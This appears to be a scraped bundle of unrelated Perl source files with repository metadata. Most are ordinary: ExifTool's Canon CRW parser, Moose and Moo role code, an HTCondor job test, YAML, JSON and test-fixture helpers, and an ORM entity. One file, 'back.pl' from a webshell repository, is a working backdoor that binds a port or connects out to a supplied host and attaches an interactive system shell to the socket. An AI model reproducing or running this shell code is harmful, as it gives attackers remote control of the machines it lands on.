0 => 'MakerNotes', 2 => 'Image' }, 0 => { Name => 'FileFormat', Flags => 'PrintHex', PrintConv => { 0x00010000 => 'JPEG (lossy)', 0x00010002 => 'JPEG (non-quantization)', 0x00010003 => 'JPEG (lossy/non-quantization toggled)', 0x00020001 => 'CRW', }, }, 1 => { Name => 'TargetCompressionRatio', Format => 'float', }, ); %Image::ExifTool::CanonRaw::RawJpgInfo = ( PROCESS_PROC => \&Image::ExifTool::ProcessBinaryData, WRITE_PROC => \&Image::ExifTool::WriteBinaryData, CHECK_PROC => \&Image::ExifTool::CheckBinaryData, WRITABLE => 1, FORMAT => 'int16u', FIRST_ENTRY => 1, GROUPS => { 0 => 'MakerNotes', 2 => 'Image' }, # 0 => 'RawJpgInfoSize', 1 => { #PH Name => 'RawJpgQuality', PrintConv => { 1 => 'Economy', 2 => 'Normal', 3 => 'Fine', 5 => 'Superfine', }, }, 2 => { #PH Name => 'RawJpgSize', PrintConv => { 0 => 'Large', 1 => 'Medium', 2 => 'Small', }, }, 3 => 'RawJpgWidth', #PH 4 => 'RawJpgHeight', #PH ); %Image::ExifTool::CanonRaw::FlashInfo = ( PROCESS_PROC => \&Image::ExifTool::ProcessBinaryData, WRITE_PROC => \&Image::ExifTool::WriteBinaryData, CHECK_PROC => \&Image::ExifTool::CheckBinaryData, WRITABLE => 1, FORMAT => 'float', FIRST_ENTRY => 0, GROUPS => { 0 => 'MakerNotes', 2 => 'Image' }, 0 => 'FlashGuideNumber', 1 => 'FlashThreshold', ); %Image::ExifTool::CanonRaw::ExposureInfo = ( PROCESS_PROC => \&Image::ExifTool::ProcessBinaryData, WRITE_PROC => \&Image::ExifTool::WriteBinaryData, CHECK_PROC => \&Image::ExifTool::CheckBinaryData, WRITABLE => 1, FORMAT => 'float', FIRST_ENTRY => 0, GROUPS => { 0 => 'MakerNotes', 2 => 'Image' }, 0 => 'ExposureCompensation', 1 => { Name => 'ShutterSpeedValue', ValueConv => 'abs($val)<100 ? 1/(2**$val) : 0', ValueConvInv => '$val>0 ? -log($val)/log(2) : -100', PrintConv => 'Image::ExifTool::Exif::PrintExposureTime($val)', PrintConvInv => 'Image::ExifTool::Exif::ConvertFraction($val)', }, 2 => { Name => 'ApertureValue', ValueConv => '2 ** ($val / 2)', ValueConvInv => '$val>0 ? 2*log($val)/log(2) : 0', PrintConv => 'sprintf("%.1f",$val)', PrintConvInv => '$val', }, ); %Image::ExifTool::CanonRaw::ImageInfo = ( PROCESS_PROC => \&Image::ExifTool::ProcessBinaryData, WRITE_PROC => \&Image::ExifTool::WriteBinaryData, CHECK_PROC => \&Image::ExifTool::CheckBinaryData, FORMAT => 'int32u', FIRST_ENTRY => 0, GROUPS => { 0 => 'MakerNotes', 2 => 'Image' }, # Note: Don't make these writable (except rotation) because it confuses # Canon decoding software if the are changed 0 => 'ImageWidth', #3 1 => 'ImageHeight', #3 2 => { #3 Name => 'PixelAspectRatio', Format => 'float', }, 3 => { Name => 'Rotation', Format => 'int32s', Writable => 'int32s', }, 4 => 'ComponentBitDepth', #3 5 => 'ColorBitDepth', #3 6 => 'ColorBW', #3 ); # ref 4 %Image::ExifTool::CanonRaw::DecoderTable = ( PROCESS_PROC => \&Image::ExifTool::ProcessBinaryData, WRITE_PROC => \&Image::ExifTool::WriteBinaryData, CHECK_PROC => \&Image::ExifTool::CheckBinaryData, GROUPS => { 0 => 'MakerNotes', 2 => 'Camera' }, FORMAT => 'int32u', FIRST_ENTRY => 0, 0 => 'DecoderTableNumber', 2 => 'CompressedDataOffset', 3 => 'CompressedDataLength', ); # ref 1/4 %Image::ExifTool::CanonRaw::WhiteSample = ( PROCESS_PROC => \&Image::ExifTool::ProcessBinaryData, WRITE_PROC => \&Image::ExifTool::WriteBinaryData, CHECK_PROC => \&Image::ExifTool::CheckBinaryData, GROUPS => { 0 => 'MakerNotes', 2 => 'Camera' }, FORMAT => 'int16u', FIRST_ENTRY => 1, 1 => 'WhiteSampleWidth', 2 => 'WhiteSampleHeight', 3 => 'WhiteSampleLeftBorder', 4 => 'WhiteSampleTopBorder', 5 => 'WhiteSampleBits', # this is followed by the encrypted white sample values (ref 1) ); #------------------------------------------------------------------------------ # AutoLoad our writer routines when necessary # sub AUTOLOAD { return Image::ExifTool::DoAutoLoad($AUTOLOAD, @_); } #------------------------------------------------------------------------------ # Process Raw file directory # Inputs: 0) ExifTool object reference # 1) directory information reference, 2) tag table reference # Returns: 1 on success sub ProcessCanonRaw($$$) { my ($et, $dirInfo, $rawTagTable) = @_; my $blockStart = $$dirInfo{DirStart}; my $blockSize = $$dirInfo{DirLen}; my $raf = $$dirInfo{RAF} or return 0; my $buff; my $verbose = $et->Options('Verbose'); my $buildMakerNotes = $et->Options('MakerNotes'); # 4 bytes at end of block give directory position within block $raf->Seek($blockStart+$blockSize-4, 0) or return 0; $raf->Read($buff, 4) == 4 or return 0; my $dirOffset = Get32u(\$buff,0) + $blockStart; $raf->Seek($dirOffset, 0) or return 0; $raf->Read($buff, 2) == 2 or return 0; my $entries = Get16u(\$buff,0); # get number of entries in directory # read the directory (10 bytes per entry) $raf->Read($buff, 10 * $entries) == 10 * $entries or return 0; $verbose and $et->VerboseDir('CIFF', $entries); my $index; for ($index=0; $index<$entries; ++$index) { my $pt = 10 * $index; my $tag = Get16u(\$buff, $pt); my $size = Get32u(\$buff, $pt+2); my $valuePtr = Get32u(\$buff, $pt+6); my $ptr = $valuePtr + $blockStart; # all pointers relative to block start if ($tag & 0x8000) { $et->Warn('Bad CRW directory entry'); return 1; } my $tagID = $tag & 0x3fff; # get tag ID my $tagType = ($tag >> 8) & 0x38; # get tag type my $valueInDir = ($tag & 0x4000); # flag for value in directory my $tagInfo = $et->GetTagInfo($rawTagTable, $tagID); if (($tagType==0x28 or $tagType==0x30) and not $valueInDir) { # this type of tag specifies a raw subdirectory my $name; $tagInfo and $name = $$tagInfo{Name}; $name or $name = sprintf("CanonRaw_0x%.4x", $tag); my %subdirInfo = ( DirName => $name, DataLen => 0, DirStart => $ptr, DirLen => $size, Nesting => $$dirInfo{Nesting} + 1, RAF => $raf, Parent => $$dirInfo{DirName}, ); if ($verbose) { my $fakeInfo = { Name => $name, SubDirectory => { } }; $et->VerboseInfo($tagID, $fakeInfo, 'Index' => $index, 'Size' => $size, 'Start' => $ptr, ); } $et->ProcessDirectory(\%subdirInfo, $rawTagTable); next; } my ($valueDataPos, $count, $subdir); my $format = $crwTagFormat{$tagType}; if ($tagInfo) { $subdir = $$tagInfo{SubDirectory}; $format = $$tagInfo{Format} if $$tagInfo{Format}; $count = $$tagInfo{Count}; } # get value data my ($value, $delRawConv); if ($valueInDir) { # is the value data in the directory? # this type of tag stores the value in the 'size' and 'ptr' fields $valueDataPos = $dirOffset + $pt + 4; # (remember, +2 for the entry count) $size = 8; $value = substr($buff, $pt+2, $size); # set count to 1 by default for normal values in directory $count = 1 if not defined $count and $format and $format ne 'string' and not $subdir; } else { $valueDataPos = $ptr; if ($size <= 512 or ($verbose > 2 and $size <= 65536) or ($tagInfo and ($$tagInfo{SubDirectory} or grep(/^$$tagInfo{Name}$/i, $et->GetRequestedTags()) ))) { # read value if size is small or specifically requested # or if this is a SubDirectory unless ($raf->Seek($ptr, 0) and $raf->Read($value, $size) == $size) { $et->Warn(sprintf("Error reading %d bytes from 0x%x",$size,$ptr)); next; } } else { $value = "Binary data $size bytes"; if ($tagInfo) { if ($et->Options('Binary') or $verbose) { # read the value anyway unless ($raf->Seek($ptr, 0) and $raf->Read($value, $size) == $size) { $et->Warn(sprintf("Error reading %d bytes from 0x%x",$size,$ptr)); next; } } # force this to be a binary (scalar reference) $$tagInfo{RawConv} = '\$val'; $delRawConv = 1; } $size = length $value; undef $format; } } # set count from tagInfo count if necessary if ($format and not $count) { # set count according to format and size my $fnum = $Image::ExifTool::Exif::formatNumber{$format}; my $fsiz = $Image::ExifTool::Exif::formatSize[$fnum]; $count = int($size / $fsiz); } if ($verbose) { my $val = $value; $format and $val = ReadValue(\$val, 0, $format, $count, $size); $et->VerboseInfo($tagID, $tagInfo, Table => $rawTagTable, Index => $index, Value => $val, DataPt => \$value, DataPos => $valueDataPos, Size => $size, Format => $format, Count => $count, ); } if ($buildMakerNotes) { # build maker notes information if requested BuildMakerNotes($et, $tagID, $tagInfo, \$value, $format, $count); } next unless defined $tagInfo; if ($subdir) { my $name = $$tagInfo{Name}; my $newTagTable; if ($$subdir{TagTable}) { $newTagTable = GetTagTable($$subdir{TagTable}); unless ($newTagTable) { warn "Unknown tag table $$subdir{TagTable}\n"; next; } } else { warn "Must specify TagTable for SubDirectory $name\n"; next; } my $subdirStart = 0; #### eval Start () $subdirStart = eval $$subdir{Start} if $$subdir{Start}; my $dirData = \$value; my %subdirInfo = ( Name => $name, DataPt => $dirData, DataLen => $size, DataPos => $valueDataPos, DirStart => $subdirStart, DirLen => $size - $subdirStart, Nesting => $$dirInfo{Nesting} + 1, RAF => $raf, DirName => $name, Parent => $$dirInfo{DirName}, ); #### eval Validate ($dirData, $subdirStart, $size) if (defined $$subdir{Validate} and not eval $$subdir{Validate}) { $et->Warn("Invalid $name data"); } else { $et->ProcessDirectory(\%subdirInfo, $newTagTable, $$subdir{ProcessProc}); } } else { # convert to specified format if necessary $format and $value = ReadValue(\$value, 0, $format, $count, $size); # save the information $et->FoundTag($tagInfo, $value); delete $$tagInfo{RawConv} if $delRawConv; } } return 1; } #------------------------------------------------------------------------------ # get information from raw file # Inputs: 0) ExifTool object reference, 1) dirInfo reference # Returns: 1 if this was a valid Canon RAW file sub ProcessCRW($$) { my ($et, $dirInfo) = @_; my ($buff, $sig); my $raf = $$dirInfo{RAF}; my $buildMakerNotes = $et->Options('MakerNotes'); $raf->Read($buff,2) == 2 or return 0; SetByteOrder($buff) or return 0; $raf->Read($buff,4) == 4 or return 0; $raf->Read($sig,8) == 8 or return 0; # get file signature $sig =~ /^HEAP(CCDR|JPGM)/ or return 0; # validate signature my $hlen = Get32u(\$buff, 0); $raf->Seek(0, 2) or return 0; # seek to end of file my $filesize = $raf->Tell() or return 0; # initialize maker note data if building maker notes $buildMakerNotes and InitMakerNotes($et); # set the FileType tag unless already done (eg. APP0 CIFF record in JPEG image) $et->SetFileType(); # build directory information for main raw directory my %dirInfo = ( DataLen => 0, DirStart => $hlen, DirLen => $filesize - $hlen, Nesting => 0, RAF => $raf, Parent => 'CRW', ); # process the raw directory my $rawTagTable = GetTagTable('Image::ExifTool::CanonRaw::Main'); my $oldIndent = $$et{INDENT}; $$et{INDENT} .= '| '; unless (ProcessCanonRaw($et, \%dirInfo, $rawTagTable)) { $et->Warn('CRW file format error'); } $$et{INDENT} = $oldIndent; # finish building maker notes if necessary $buildMakerNotes and SaveMakerNotes($et); # process trailers if they exist in CRW file (not in CIFF information!) if ($$et{FILE_TYPE} eq 'CRW') { my $trailInfo = Image::ExifTool::IdentifyTrailer($raf); $et->ProcessTrailers($trailInfo) if $trailInfo; } return 1; } 1; # end __END__ =head1 NAME Image::ExifTool::CanonRaw - Read Canon RAW (CRW) meta information =head1 SYNOPSIS This module is loaded automatically by Image::ExifTool when required. =head1 DESCRIPTION This module contains definitions required by Image::ExifTool to interpret meta information from Canon CRW raw files. These files are written directly by some Canon cameras, and contain meta information similar to that found in the EXIF Canon maker notes. =head1 NOTES The CR2 format written by some Canon cameras is very different the CRW format processed by this module. (CR2 is TIFF-based and uses standard EXIF tags.) =head1 AUTHOR Copyright 2003-2020, Phil Harvey (philharvey66 at gmail.com) This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =head1 REFERENCES =over 4 =item L<http://www.cybercom.net/~dcoffin/dcraw/> =item L<http://www.wonderland.org/crw/> =item L<http://xyrion.org/ciff/> =item L<https://exiftool.org/canon_raw.html> =back =head1 ACKNOWLEDGEMENTS Thanks to Dave Nicholson for decoding a number of new tags. =head1 SEE ALSO L<Image::ExifTool::TagNames/CanonRaw Tags>, L<Image::ExifTool::Canon(3pm)|Image::ExifTool::Canon>, L<Image::ExifTool(3pm)|Image::ExifTool> =cut
mkjanke/Focus-Points
focuspoints.lrdevplugin/bin/exiftool/lib/Image/ExifTool/CanonRaw.pm
Perl
apache-2.0
30,392
package Moose::Meta::Method::Accessor::Native::Hash::elements; BEGIN { $Moose::Meta::Method::Accessor::Native::Hash::elements::AUTHORITY = 'cpan:STEVAN'; } { $Moose::Meta::Method::Accessor::Native::Hash::elements::VERSION = '2.0602'; } use strict; use warnings; use Scalar::Util qw( looks_like_number ); use Moose::Role; with 'Moose::Meta::Method::Accessor::Native::Reader' => { -excludes => ['_maximum_arguments'] }; sub _maximum_arguments { 0 } sub _return_value { my $self = shift; my ($slot_access) = @_; return 'map { $_, ' . $slot_access . '->{$_} } ' . 'keys %{ (' . $slot_access . ') }'; } no Moose::Role; 1;
leighpauls/k2cro4
third_party/perl/perl/vendor/lib/Moose/Meta/Method/Accessor/Native/Hash/elements.pm
Perl
bsd-3-clause
659
{ "id": "test-file-mapping", "containers" : [{ "name": "mapping", "image": "busybox", "command": ["/bin/sh", "-c", "md5sum /root/resolv.conf"], "volumes": [{ "volume": "resolv.conf", "path": "/root/resolv.conf", "readOnly": false }] }], "resource": { "vcpu": 1, "memory": 256 }, "files": [], "volumes": [{ "name": "resolv.conf", "source": "/etc/resolv.conf", "format": "vfs" }], "tty": true }
gao-feng/hyper-public
hack/pods/file-mapping.pod
Perl
apache-2.0
634
package Moo::Role; use strictures 1; use Moo::_Utils; use base qw(Role::Tiny); require Moo::sification; BEGIN { *INFO = \%Role::Tiny::INFO } our %INFO; sub _install_tracked { my ($target, $name, $code) = @_; $INFO{$target}{exports}{$name} = $code; _install_coderef "${target}::${name}" => "Moo::Role::${name}" => $code; } sub import { my $target = caller; my ($me) = @_; strictures->import; if ($Moo::MAKERS{$target} and $Moo::MAKERS{$target}{is_class}) { die "Cannot import Moo::Role into a Moo class"; } $INFO{$target} ||= {}; # get symbol table reference my $stash = do { no strict 'refs'; \%{"${target}::"} }; _install_tracked $target => has => sub { my ($name_proto, %spec) = @_; my $name_isref = ref $name_proto eq 'ARRAY'; foreach my $name ($name_isref ? @$name_proto : $name_proto) { my $spec_ref = $name_isref ? +{%spec} : \%spec; ($INFO{$target}{accessor_maker} ||= do { require Method::Generate::Accessor; Method::Generate::Accessor->new })->generate_method($target, $name, $spec_ref); push @{$INFO{$target}{attributes}||=[]}, $name, $spec_ref; $me->_maybe_reset_handlemoose($target); } }; # install before/after/around subs foreach my $type (qw(before after around)) { _install_tracked $target => $type => sub { require Class::Method::Modifiers; push @{$INFO{$target}{modifiers}||=[]}, [ $type => @_ ]; $me->_maybe_reset_handlemoose($target); }; } _install_tracked $target => requires => sub { push @{$INFO{$target}{requires}||=[]}, @_; $me->_maybe_reset_handlemoose($target); }; _install_tracked $target => with => sub { $me->apply_roles_to_package($target, @_); $me->_maybe_reset_handlemoose($target); }; return if $INFO{$target}{is_role}; # already exported into this package $INFO{$target}{is_role} = 1; *{_getglob("${target}::meta")} = $me->can('meta'); # grab all *non-constant* (stash slot is not a scalarref) subs present # in the symbol table and store their refaddrs (no need to forcibly # inflate constant subs into real subs) - also add '' to here (this # is used later) with a map to the coderefs in case of copying or re-use my @not_methods = ('', map { *$_{CODE}||() } grep !ref($_), values %$stash); @{$INFO{$target}{not_methods}={}}{@not_methods} = @not_methods; # a role does itself $Role::Tiny::APPLIED_TO{$target} = { $target => undef }; if ($INC{'Moo/HandleMoose.pm'}) { Moo::HandleMoose::inject_fake_metaclass_for($target); } } # duplicate from Moo::Object sub meta { require Moo::HandleMoose::FakeMetaClass; my $class = ref($_[0])||$_[0]; bless({ name => $class }, 'Moo::HandleMoose::FakeMetaClass'); } sub unimport { my $target = caller; _unimport_coderefs($target, $INFO{$target}); } sub _maybe_reset_handlemoose { my ($class, $target) = @_; if ($INC{"Moo/HandleMoose.pm"}) { Moo::HandleMoose::maybe_reinject_fake_metaclass_for($target); } } sub _inhale_if_moose { my ($self, $role) = @_; _load_module($role); my $meta; if (!$INFO{$role} and ( $INC{"Moose.pm"} and $meta = Class::MOP::class_of($role) ) or ( Mouse::Util->can('find_meta') and $meta = Mouse::Util::find_meta($role) ) ) { $INFO{$role}{methods} = { map +($_ => $role->can($_)), grep !$meta->get_method($_)->isa('Class::MOP::Method::Meta'), $meta->get_method_list }; $Role::Tiny::APPLIED_TO{$role} = { map +($_->name => 1), $meta->calculate_all_roles }; $INFO{$role}{requires} = [ $meta->get_required_method_list ]; $INFO{$role}{attributes} = [ map +($_ => do { my $spec = { %{$meta->get_attribute($_)} }; if ($spec->{isa}) { my $get_constraint = do { my $pkg = $meta->isa('Mouse::Meta::Role') ? 'Mouse::Util::TypeConstraints' : 'Moose::Util::TypeConstraints'; _load_module($pkg); $pkg->can('find_or_create_isa_type_constraint'); }; my $tc = $get_constraint->($spec->{isa}); my $check = $tc->_compiled_type_constraint; $spec->{isa} = sub { &$check or die "Type constraint failed for $_[0]" }; if ($spec->{coerce}) { # Mouse has _compiled_type_coercion straight on the TC object $spec->{coerce} = $tc->${\( $tc->can('coercion')||sub { $_[0] } )}->_compiled_type_coercion; } } $spec; }), $meta->get_attribute_list ]; my $mods = $INFO{$role}{modifiers} = []; foreach my $type (qw(before after around)) { # Mouse pokes its own internals so we have to fall back to doing # the same thing in the absence of the Moose API method my $map = $meta->${\( $meta->can("get_${type}_method_modifiers_map") or sub { shift->{"${type}_method_modifiers"} } )}; foreach my $method (keys %$map) { foreach my $mod (@{$map->{$method}}) { push @$mods, [ $type => $method => $mod ]; } } } require Class::Method::Modifiers if @$mods; $INFO{$role}{inhaled_from_moose} = 1; } } sub _maybe_make_accessors { my ($self, $role, $target) = @_; my $m; if ($INFO{$role}{inhaled_from_moose} or $INC{"Moo.pm"} and $m = Moo->_accessor_maker_for($target) and ref($m) ne 'Method::Generate::Accessor') { $self->_make_accessors($role, $target); } } sub _make_accessors_if_moose { my ($self, $role, $target) = @_; if ($INFO{$role}{inhaled_from_moose}) { $self->_make_accessors($role, $target); } } sub _make_accessors { my ($self, $role, $target) = @_; my $acc_gen = ($Moo::MAKERS{$target}{accessor} ||= do { require Method::Generate::Accessor; Method::Generate::Accessor->new }); my $con_gen = $Moo::MAKERS{$target}{constructor}; my @attrs = @{$INFO{$role}{attributes}||[]}; while (my ($name, $spec) = splice @attrs, 0, 2) { # needed to ensure we got an index for an arrayref based generator if ($con_gen) { $spec = $con_gen->all_attribute_specs->{$name}; } $acc_gen->generate_method($target, $name, $spec); } } sub apply_roles_to_package { my ($me, $to, @roles) = @_; foreach my $role (@roles) { $me->_inhale_if_moose($role); } $me->SUPER::apply_roles_to_package($to, @roles); } sub apply_single_role_to_package { my ($me, $to, $role) = @_; $me->_inhale_if_moose($role); $me->_handle_constructor($to, $INFO{$role}{attributes}); $me->_maybe_make_accessors($role, $to); $me->SUPER::apply_single_role_to_package($to, $role); } sub create_class_with_roles { my ($me, $superclass, @roles) = @_; my $new_name = join( '__WITH__', $superclass, my $compose_name = join '__AND__', @roles ); return $new_name if $Role::Tiny::COMPOSED{class}{$new_name}; foreach my $role (@roles) { $me->_inhale_if_moose($role); } my $m; if ($INC{"Moo.pm"} and $m = Moo->_accessor_maker_for($superclass) and ref($m) ne 'Method::Generate::Accessor') { # old fashioned way time. *{_getglob("${new_name}::ISA")} = [ $superclass ]; $me->apply_roles_to_package($new_name, @roles); return $new_name; } require Sub::Quote; $me->SUPER::create_class_with_roles($superclass, @roles); foreach my $role (@roles) { die "${role} is not a Role::Tiny" unless my $info = $INFO{$role}; } $Moo::MAKERS{$new_name} = {}; $me->_handle_constructor( $new_name, [ map @{$INFO{$_}{attributes}||[]}, @roles ], $superclass ); return $new_name; } sub _composable_package_for { my ($self, $role) = @_; my $composed_name = 'Role::Tiny::_COMPOSABLE::'.$role; return $composed_name if $Role::Tiny::COMPOSED{role}{$composed_name}; $self->_make_accessors_if_moose($role, $composed_name); $self->SUPER::_composable_package_for($role); } sub _install_single_modifier { my ($me, @args) = @_; _install_modifier(@args); } sub _handle_constructor { my ($me, $to, $attr_info, $superclass) = @_; return unless $attr_info && @$attr_info; if ($INFO{$to}) { push @{$INFO{$to}{attributes}||=[]}, @$attr_info; } else { # only fiddle with the constructor if the target is a Moo class if ($INC{"Moo.pm"} and my $con = Moo->_constructor_maker_for($to, $superclass)) { # shallow copy of the specs since the constructor will assign an index $con->register_attribute_specs(map ref() ? { %$_ } : $_, @$attr_info); } } } 1; =head1 NAME Moo::Role - Minimal Object Orientation support for Roles =head1 SYNOPSIS package My::Role; use Moo::Role; sub foo { ... } sub bar { ... } has baz => ( is => 'ro', ); 1; And elsewhere: package Some::Class; use Moo; # bar gets imported, but not foo with('My::Role'); sub foo { ... } 1; =head1 DESCRIPTION C<Moo::Role> builds upon L<Role::Tiny>, so look there for most of the documentation on how this works. The main addition here is extra bits to make the roles more "Moosey;" which is to say, it adds L</has>. =head1 IMPORTED SUBROUTINES See L<Role::Tiny/IMPORTED SUBROUTINES> for all the other subroutines that are imported by this module. =head2 has has attr => ( is => 'ro', ); Declares an attribute for the class to be composed into. See L<Moo/has> for all options. =head1 AUTHORS See L<Moo> for authors. =head1 COPYRIGHT AND LICENSE See L<Moo> for the copyright and license. =cut
Dokaponteam/ITF_Project
xampp/perl/vendor/lib/Moo/Role.pm
Perl
mit
9,524
#!/usr/bin/env perl ##************************************************************** ## ## Copyright (C) 1990-2007, Condor Team, Computer Sciences Department, ## University of Wisconsin-Madison, WI. ## ## Licensed under the Apache License, Version 2.0 (the "License"); you ## may not use this file except in compliance with the License. You may ## obtain a copy of the License at ## ## http://www.apache.org/licenses/LICENSE-2.0 ## ## Unless required by applicable law or agreed to in writing, software ## distributed under the License is distributed on an "AS IS" BASIS, ## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ## See the License for the specific language governing permissions and ## limitations under the License. ## ##************************************************************** ## ## ON_EXIT_HOLD - False ## We submit a job where ON_EXIT_HOLD evaluates to false and just ## make sure that the job doesn't get put on hold after it finishes ## its execution run ## use CondorTest; $cmd = 'job_core_onexithold-false_local.cmd'; $testdesc = 'Condor submit for ON_EXIT_HOLD test - local U'; $testname = "job_core_onexithold_local"; ## ## Status Values ## sub IDLE{1}; sub HELD{5}; sub RUNNING{2}; ## ## executed ## Just announce that the job began execution ## $executed = sub { %info = @_; $cluster = $info{"cluster"}; $job = $info{"job"}; CondorTest::debug("Good - Job $cluster.$job began execution.\n",1); }; ## ## abnormal ## Not sure how we would end up here, and based on the old ## report message, I'm assuming this is a bad thing ## $abnormal = sub { my %info = @_; my $cluster = $info{"cluster"}; my $job = $info{"job"}; CondorTest::debug("Bad - Job $cluster.$job reported an abnormal event.\n",1); exit(1); }; ## ## held ## If the job went on hold, we need to abort $held = sub { my $done; %info = @_; $cluster = $info{"cluster"}; $job = $info{"job"}; CondorTest::debug("Bad - Job $cluster.$job should not be on hold.\n",1); exit(1); }; ## ## success ## $success = sub { my %info = @_; my $cluster = $info{"cluster"}; my $job = $info{"job"}; ## ## This probably isn't necessary, but just ot be safe we need to ## check the status of the job and if it's on hold, call ## the held() method ## if ( CondorTest::getJobStatus($cluster) == HELD ) { &$held( %info ) if defined $held; return; } CondorTest::debug("Good - Job $cluster.$job finished executing and exited.\n",1); CondorTest::debug("Policy Test Completed\n",1); }; CondorTest::RegisterExecute($testname, $executed); CondorTest::RegisterExitedAbnormal( $testname, $abnormal ); CondorTest::RegisterExitedSuccess( $testname, $success ); CondorTest::RegisterHold( $testname, $held ); if( CondorTest::RunTest($testname, $cmd, 0) ) { CondorTest::debug("$testname: SUCCESS\n",1); exit(0); } else { die "$testname: CondorTest::RunTest() failed\n"; }
djw8605/htcondor
src/condor_tests/job_core_onexithold-false_local.pl
Perl
apache-2.0
2,901
package YAML::Dumper::Syck; use strict; sub new { $_[0] } sub dump { shift; YAML::Syck::Dump($_[0]) } 1;
leighpauls/k2cro4
third_party/perl/perl/vendor/lib/YAML/Dumper/Syck.pm
Perl
bsd-3-clause
107
package My::Test::Class; use Test::More; use Moose; BEGIN { extends 'Test::Class' } has 'class' => ( is => 'rw', isa => 'Str', ); sub new { my ($class, @args) = @_; my $self = $class->SUPER::new(@args); return $class->meta->new_object( __INSTANCE__ => $self, @args ); } sub startup : Tests(startup => 1) { my ($test) = @_; (my $class = ref $test) =~ s/^Test:://xms; use_ok $class or die; $test->class($class); return; } no Moose; __PACKAGE__->meta->make_immutable(inline_constructor => 0); 1;
ekcs/congress
thirdparty/antlr3-antlr-3.5/runtime/Perl5/t/lib/My/Test/Class.pm
Perl
apache-2.0
553
#!/usr/bin/env perl use IO::Socket; $os=$^O; $sh="export TERM=xterm;PS1='\$PWD\>';export PS1;/bin/sh -i"; if($os=~m/win/i){$sh="%COMSPEC% /K";} $t=getprotobyname('tcp'); socket(S,&PF_INET,&SOCK_STREAM,$t)||die(); if(@ARGV==1){ $p=$ARGV[0]; setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); bind(S,sockaddr_in($p,INADDR_ANY))||die(); listen(S,3)||die(); accept(C,S); send(C,"b4tm4n shell : connected\n",0); open STDIN,"<&C";open STDOUT,">&C";open STDERR,">&C"; exec $sh||die(); close(C);close(S);close(STDIN);close(STDOUT);close(STDERR); exit 0; } elsif(@ARGV==2){ $p=$ARGV[0]; $h=$ARGV[1]; $i=inet_aton($h)||die(); $a=sockaddr_in($p,$i)||die(); connect(S,$a)||die(); send(S,"b4tm4n shell : connected\n",0); open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S"); exec $sh||die(); close(S);close(STDIN);close(STDOUT);close(STDERR); } else{exit(1);}
tennc/webshell
b4tm4n-toolz/backconnect/back.pl
Perl
mit
858
package Data::Hub::FileSystem::JSONFile; use strict; use Perl::Module; use JSON::XS qw(); use base qw(Data::Hub::FileSystem::HashFile); sub __parse { my $tied = shift; my $str = shift; # source string my $data = shift; # destination hash my $json = JSON::XS->new; my $h = $$str ? $json->decode($$str) : {}; return overlay($data, $h); } sub __format { my $tied = shift; my $data = shift; my $json = JSON::XS->new->ascii->pretty->canonical(1); my $str = $json->encode(clone($data, -pure_perl)); return \$str; } sub __has_crown { my $c = shift or return; 1; } 1; __END__
ryangies/lsn-data-hub
src/lib/Data/Hub/FileSystem/JSONFile.pm
Perl
mit
599
#!/usr/bin/perl $ns = `netstat -nr`; $ns =~ m/0.0.0.0\s+([0-9]+.[0-9]+.[0-9]+.[0-9]+)/g; print $1
dam3369/my-dark
mygateway.pl
Perl
mit
102
package Eldhelm::Test::Fixture::MainTester; use strict; use Data::Dumper; use threads; use threads::shared; use base qw(Eldhelm::Server::Main); sub new { my ($class, %args) = @_; my $self = $class->SUPER::new(%args); return bless $self, $class; } sub addSockets { my ($self, @list) = @_; $self->{sockCnt} ||= 1; foreach (@list) { $self->{connections}{ $self->{sockCnt} } = shared_clone({}); $self->{fnoToConidMap}{ $_->fileno } = $self->{sockCnt}; $self->{sockCnt}++; } } sub executeTask { my ($self, $sock, $data) = @_; my $fno = $sock->fileno; my $id = $self->{fnoToConidMap}{$fno}; if ($data->{proto} eq "System") { $self->handleTransmissionFlags($sock, $id, $data); } push @{ $self->{parsedData} }, $data; return; } sub getNextParsed { my ($self) = @_; return shift @{ $self->{parsedData} }; } sub parsedCount { my ($self) = @_; return scalar @{ $self->{parsedData} }; } sub message { my ($self, $a) = @_; warn $a; } sub log { my ($self, $a, $tp) = @_; warn $tp.": ".$$a; } sub error { my ($self, $msg) = @_; push @{ $self->{parsedErrors} }, $msg; } sub clearErrors { my ($self) = @_; $self->{parsedErrors} = []; } sub addToStreamNoRef { my ($self, $sock, $str) = @_; $self->addToStream($sock, \$str); } 1;
wastedabuser/eldhelm-platform
lib/Eldhelm/Test/Fixture/MainTester.pm
Perl
mit
1,264
# Copyright (c) 2010 - Action Without Borders # # MIT License # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. package IFTest::Entity::Trunk; use strict; use base qw( IF::Entity::Modelled ); use IF::Behaviour::ModelFu; sub Model { belongsTo("Root"), hasMany("Branch")->called("branches"), } # this is just for testing purposes sub _test_dropTableCommand { return <<EOD; DROP TABLE IF EXISTS `TRUNK`; EOD ; } sub _test_createTableCommand { return <<EOC; CREATE TABLE `TRUNK` ( ID INTEGER PRIMARY KEY NOT NULL, CREATION_DATE DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', MODIFICATION_DATE DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', ROOT_ID INTEGER NOT NULL DEFAULT 0, THICKNESS INTEGER NOT NULL DEFAULT 0 ); EOC ; } 1;
quile/if-framework
framework/t/IFTest/Entity/Trunk.pm
Perl
mit
1,781
